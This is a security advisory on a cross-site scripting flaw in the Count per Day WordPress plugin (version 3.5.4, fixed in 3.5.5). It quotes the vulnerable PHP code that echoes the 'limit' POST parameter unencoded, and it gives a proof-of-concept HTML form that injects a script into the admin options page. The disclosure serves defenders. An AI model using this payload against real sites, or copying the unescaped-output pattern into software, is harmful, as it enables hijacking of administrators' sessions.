A Cross-Site Scripting vulnerability was found in the Count per Day WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE-20160724-0024
This issue was successfully tested on Count per Day WordPress Plugin version 3.5.4.
This issue is resolved in Count per Day version 3.5.5.
The Count per Day WordPress Plugin shows reads and visitors per page, visitors today, yesterday, last week, last months and other statistics. A Cross-Site Scripting vulnerability was found in the Count per Day WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.
This issue exists in the file counter-options.php and is caused due to the lack of output encoding on the limit POST parameter.
<?php // mass bots ?>
<div class="postbox">
<?php
$limit = (isset($o['massbotlimit'])) ? $o['massbotlimit'] : 25;
$limit = (isset($_POST['limit'])) ? $_POST['limit'] : $limit;
$limit_input = '<input type="text" size="3" name="limit" value="'.$limit.'" style="text-align:center" />';
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=count-per-day%2Fcounter-options.php" method="POST">
<input type="hidden" name="limit" value=""><script>alert(1);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
